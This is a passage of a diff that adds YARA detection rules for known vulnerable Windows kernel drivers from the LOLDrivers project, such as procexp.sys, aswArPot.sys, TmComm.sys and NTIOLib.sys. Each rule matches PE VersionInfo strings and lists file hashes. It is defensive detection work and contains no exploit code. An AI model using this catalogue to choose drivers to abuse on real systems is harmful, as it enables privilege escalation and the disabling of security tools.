+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00540049004f004c00690062005f005800360034002e007300790073 } /* OriginalFilename NTIOLibXsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100340020004d00530049002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCMSIAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Sysinternalswwwsysinternalscom_Procexpsys_Processexplorer_6BFC {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - procexp.Sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "6bfc0f425de9f4e7480aa2d1f2e08892d0553ed0df1c31e9bf3d8d702f38fa2e"
+		hash = "3c7e5b25a33a7805c999d318a9523fcae46695a89f55bbdb8bb9087360323dfc"
+		hash = "46621554728bc55438c7c241137af401250f062edef6e7efecf1a6f0f6d0c1f7"
+		date = "2023-06-14"
+		score = 40
+		id = "c5104fcb-7d6a-54dc-a79e-366f16ecd8a0"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 } /* FileDescription ProcessExplorer */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0053007900730069006e007400650072006e0061006c00730020002d0020007700770077002e0073007900730069006e007400650072006e0061006c0073002e0063006f006d } /* CompanyName Sysinternalswwwsysinternalscom */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310035002e00300030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310035002e00300030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00700072006f0063006500780070002e007300790073 } /* InternalName procexpsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 } /* ProductName ProcessExplorer */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00700072006f0063006500780070002e005300790073 } /* OriginalFilename procexpSys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004d002e002000520075007300730069006e006f007600690063006800200031003900390036002d0032003000310031 } /* LegalCopyright CopyrightCMRussinovich */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Sysinternalswwwsysinternalscom_Procexpsys_Processexplorer_7A48 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - procexp.Sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "7a48f92a9c2d95a72e18055cac28c1e7e6cad5f47aa735cbea5c3b82813ccfaf"
+		date = "2023-06-14"
+		score = 40
+		id = "7c796850-8413-53b0-bbbd-4991c1af6626"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 } /* FileDescription ProcessExplorer */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0053007900730069006e007400650072006e0061006c00730020002d0020007700770077002e0073007900730069006e007400650072006e0061006c0073002e0063006f006d } /* CompanyName Sysinternalswwwsysinternalscom */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310036002e00340031 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310036002e00340031 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00700072006f0063006500780070002e007300790073 } /* InternalName procexpsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 } /* ProductName ProcessExplorer */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00700072006f0063006500780070002e005300790073 } /* OriginalFilename procexpSys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004d00610072006b002000520075007300730069006e006f007600690063006800200031003900390036002d0032003000320031 } /* LegalCopyright CopyrightCMarkRussinovich */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Zemanaltd_Zam_45F4 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - zam64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "45f42c5d874369d6be270ea27a5511efcca512aeac7977f83a51b7c4dee6b5ef"
+		date = "2023-06-14"
+		score = 40
+		id = "56dc2fa5-c19c-5a77-9590-e7a957ccb27f"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005a0041004d } /* FileDescription ZAM */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005a0065006d0061006e00610020004c00740064002e } /* CompanyName ZemanaLtd */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e00320030002e003800360035 } /* ProductVersion  */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005a0041004d } /* ProductName ZAM */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]005a0065006d0061006e00610020004c00740064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright ZemanaLtdAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Intelcorporation_Iqvwsys_Intelriqvwsys_4D05 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - iQVW64.SYS"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "4d0580c20c1ba74cf90d44c82d040f0039542eea96e4bbff3996e6760f457cee"
+		hash = "77c5e95b872b1d815d6d3ed28b399ca39f3427eeb0143f49982120ff732285a9"
+		hash = "cff9aa9046bdfd781d34f607d901a431a51bb7e5f48f4f681cc743b2cdedc98c"
+		hash = "b51ddcf8309c80384986dda9b11bf7856b030e3e885b0856efdb9e84064917e5"
+		hash = "ff115cefe624b6ca0b3878a86f6f8b352d1915b65fbbdc33ae15530a96ebdaa7"
+		hash = "a566af57d88f37fa033e64b1d8abbd3ffdacaba260475fbbc8dab846a824eff5"
+		hash = "57a389da784269bb2cc0a258500f6dfbf4f6269276e1192619ce439ec77f4572"
+		hash = "d74755311d127d0eb7454e56babc2db8dbaa814bc4ba8e2a7754d3e0224778e1"
+		date = "2023-06-14"
+		score = 40
+		id = "e52c22aa-347f-5618-93b8-b4dab3f04b35"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049006e00740065006c0028005200290020004e006500740077006f0072006b0020004100640061007000740065007200200044006900610067006e006f00730074006900630020004400720069007600650072 } /* FileDescription IntelRNetworkAdapterDiagnosticDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049006e00740065006c00200043006f00720070006f0072006100740069006f006e0020 } /* CompanyName IntelCorporation */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00300033002e0030002e00340020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00300033002e0030002e0034 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006900510056005700360034002e005300590053 } /* InternalName iQVWSYS */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0049006e00740065006c0028005200290020006900510056005700360034002e005300590053 } /* ProductName IntelRiQVWSYS */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006900510056005700360034002e005300590053 } /* OriginalFilename iQVWSYS */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300032002d003200300030003600200049006e00740065006c00200043006f00720070006f0072006100740069006f006e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e } /* LegalCopyright CopyrightCIntelCorporationAllRightsReserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Avastsoftware_Aswarpotsys_Avastantivirus_86A1 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "86a1b1bacc0c51332c9979e6aad84b5fba335df6b9a096ccb7681ab0779a8882"
+		date = "2023-06-14"
+		score = 40
+		id = "57b41ebc-6c75-5ba3-b2fc-0bb50e92207b"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200061006e0074006900200072006f006f0074006b00690074 } /* FileDescription Avastantirootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 } /* CompanyName AVASTSoftware */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310038002e0038002e0034003000350037002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310038002e0038002e0034003000350037002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* InternalName aswArPotsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 } /* ProductName AvastAntivirus */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003800200041005600410053005400200053006f006600740077006100720065 } /* LegalCopyright CopyrightcAVASTSoftware */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Aegis_61BE {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "61befeef14783eb0fed679fca179d2f5c33eb2dcbd40980669ca2ebeb3bf11cf"
+		date = "2023-06-14"
+		score = 40
+		id = "8242879f-ce39-5f05-b43e-ec2c6b185e82"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 } /* FileDescription TrendMicroCommonModule */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e } /* CompanyName TrendMicroInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0035002e0030002e0031003100300036 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0035 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* InternalName TmCommsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410045004700490053 } /* ProductName AEGIS */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* OriginalFilename TmCommsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300035002d00320030003000380020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCTrendMicroIncorporatedAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Avastsoftware_Aswarpotsys_Avastantivirus_BE8D {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "be8dd2d39a527649e34dc77ef8bc07193a4234b38597b8f51e519dadc5479ec2"
+		date = "2023-06-14"
+		score = 40
+		id = "e655289a-61d1-5908-b495-ce2c00caae3c"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200061006e0074006900200072006f006f0074006b00690074 } /* FileDescription Avastantirootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 } /* CompanyName AVASTSoftware */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310038002e0034002e0033003800390031002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310038002e0034002e0033003800390031002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* InternalName aswArPotsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 } /* ProductName AvastAntivirus */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003800200041005600410053005400200053006f006600740077006100720065 } /* LegalCopyright CopyrightcAVASTSoftware */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Msi_Ntiolibsys_Ntiolib_3070 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NTIOLib.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "30706f110725199e338e9cc1c940d9a644d19a14f0eb8847712cba4cacda67ab"
+		date = "2023-06-14"
+		score = 40
+		id = "38ae805f-4be8-526f-b3b3-d644b05c2b25"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004d0053004900200043006f006d00430065006e00530065007200760069006300650020004400720069007600650072 } /* FileDescription MSIComCenServiceDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00530049 } /* CompanyName MSI */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 } /* InternalName NTIOLibsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00540049004f004c00690062 } /* ProductName NTIOLib */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 } /* OriginalFilename NTIOLibsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100330020004d00530049002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCMSIAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Msi_Ntiolibsys_Ntiolib_CC58 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NTIOLib.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "cc586254e9e89e88334adee44e332166119307e79c2f18f6c2ab90ce8ba7fc9b"
+		date = "2023-06-14"
+		score = 40
+		id = "cfb96174-106f-5ad0-875b-1be75f70ce51"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00540049004f004c00690062 } /* FileDescription NTIOLib */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00530049 } /* CompanyName MSI */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0031 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0031 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 } /* InternalName NTIOLibsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00540049004f004c00690062 } /* ProductName NTIOLib */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00540049004f004c00690062005f005800360034002e007300790073 } /* OriginalFilename NTIOLibXsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100350020004d00530049002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCMSIAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Windowsrcodenamelonghornddkprovider_Rtkiosys_Windowsrcodenamelonghornddkdriver_916C {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - rtkio64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "916c535957a3b8cbf3336b63b2260ea4055163a9e6b214f2a7005d6d36a4a677"
+		hash = "caa85c44eb511377ea7426ff10df00a701c07ffb384eef8287636a4bca0b53ab"
+		hash = "478917514be37b32d5ccf76e4009f6f952f39f5553953544f1b0688befd95e82"
+		date = "2023-06-14"
+		score = 40
+		id = "346488b2-5390-528e-8d54-5ed3dbc6e322"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005200650061006c00740065006b00200049004f004400720069007600650072 } /* FileDescription RealtekIODriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f00770073002000280052002900200043006f00640065006e0061006d00650020004c006f006e00670068006f0072006e002000440044004b002000700072006f00760069006400650072 } /* CompanyName WindowsRCodenameLonghornDDKprovider */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0030002e0036003000300030002e003100360033003800360020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0030002e0036003000300030002e00310036003300380036 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00720074006b0069006f002e007300790073 } /* InternalName rtkiosys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e0064006f00770073002000280052002900200043006f00640065006e0061006d00650020004c006f006e00670068006f0072006e002000440044004b0020006400720069007600650072 } /* ProductName WindowsRCodenameLonghornDDKdriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00720074006b0069006f002e007300790073 } /* OriginalFilename rtkiosys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a90020004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright MicrosoftCorporationAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_E4D9 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "e4d9f037411284e996a002b15b49bc227d085ee869ae1cd91ba54ff7c244f036"
+		date = "2023-06-14"
+		score = 40
+		id = "b0ef62c7-b223-5d70-883d-1a6a3d28dc0d"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 } /* FileDescription TrendMicroCommonModule */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e } /* CompanyName TrendMicroInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00350030002e0030002e0031003000350038 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00350030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* InternalName TmCommsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 } /* ProductName TrendMicroEyes */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* OriginalFilename TmCommsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100350020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCTrendMicroIncorporatedAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Windowsrwinddkprovider_Cupfixerxsys_Windowsrwinddkdriver_8C74 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - CupFixerx64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "8c748ae5dcc10614cc134064c99367d28f3131d1f1dda0c9c29e99279dc1bdd9"
+		date = "2023-06-14"
+		score = 40
+		id = "32559d4c-eef4-5b67-a74c-f89589bc446b"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00530069006e0063006500790020004300750070002000460069007800650072 } /* FileDescription SinceyCupFixer */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000570069006e00200037002000440044004b002000700072006f00760069006400650072 } /* CompanyName WindowsRWinDDKprovider */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00330032002e0030002e00310030003000310031002e00310033003300330037 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00330032002e0030002e00310030003000310031002e00310033003300330037 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00430075007000460069007800650072007800360034002e007300790073 } /* InternalName CupFixerxsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000570069006e00200037002000440044004b0020006400720069007600650072 } /* ProductName WindowsRWinDDKdriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00430075007000460069007800650072007800360034002e007300790073 } /* OriginalFilename CupFixerxsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a90020004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright MicrosoftCorporationAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Asustekcomputerinc_Eiosys_Asusvgakernelmodedriver_B175 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - EIO.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "b17507a3246020fa0052a172485d7b3567e0161747927f2edf27c40e310852e0"
+		date = "2023-06-14"
+		score = 40
+		id = "1c0669aa-b156-580f-9bb0-d69502af6a7f"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004100530055005300200056004700410020004b00650072006e0065006c0020004d006f006400650020004400720069007600650072 } /* FileDescription ASUSVGAKernelModeDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004100530055005300540065004b00200043006f006d0070007500740065007200200049006e0063002e } /* CompanyName ASUSTeKComputerInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00390036 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00390036 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00450049004f002e007300790073 } /* InternalName EIOsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004100530055005300200056004700410020004b00650072006e0065006c0020004d006f006400650020004400720069007600650072 } /* ProductName ASUSVGAKernelModeDriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00450049004f002e007300790073 } /* OriginalFilename EIOsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000320030003000370020004100530055005300540065004b00200043006f006d0070007500740065007200200049006e0063002e } /* LegalCopyright CopyrightASUSTeKComputerInc */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_2AFD {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "2afdb3278a7b57466a103024aef9ff7f41c73a19bab843a8ebf3d3c4d4e82b30"
+		date = "2023-06-14"
+		score = 40
+		id = "4dc89f62-c0e0-5abf-9774-3ca21f8a1d8e"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 } /* FileDescription TrendMicroCommonModule */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e } /* CompanyName TrendMicroInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00370030002e0030002e0031003000390038 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00370030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* InternalName TmCommsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 } /* ProductName TrendMicroEyes */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* OriginalFilename TmCommsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100360020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCTrendMicroIncorporatedAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 400KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Asustekcomputerinc_Iomapsys_Asuskernelmodedriverfornt_EA85 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - IOMap64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "ea85bbe63d6f66f7efee7007e770af820d57f914c7f179c5fee3ef2845f19c41"
+		date = "2023-06-14"
+		score = 40
+		id = "8b2fbab4-4b54-57dc-9591-1d993e844dc0"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410053005500530020004b00650072006e0065006c0020004d006f00640065002000440072006900760065007200200066006f00720020004e00540020 } /* FileDescription ASUSKernelModeDriverforNT */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004100530055005300540065004b00200043006f006d0070007500740065007200200049006e0063002e } /* CompanyName ASUSTeKComputerInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00300030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00300030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0049004f004d00610070002e007300790073 } /* InternalName IOMapsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410053005500530020004b00650072006e0065006c0020004d006f00640065002000440072006900760065007200200066006f00720020004e00540020 } /* ProductName ASUSKernelModeDriverforNT */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0049004f004d00610070002e007300790073 } /* OriginalFilename IOMapsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000320030003100300020004100530055005300540065004b00200043006f006d0070007500740065007200200049006e0063002e } /* LegalCopyright CopyrightASUSTeKComputerInc */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Tgsoftsas_Viragtsys_Viritagentsystem_E05E {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - viragt.sys"
+		author = "Florian Roth"
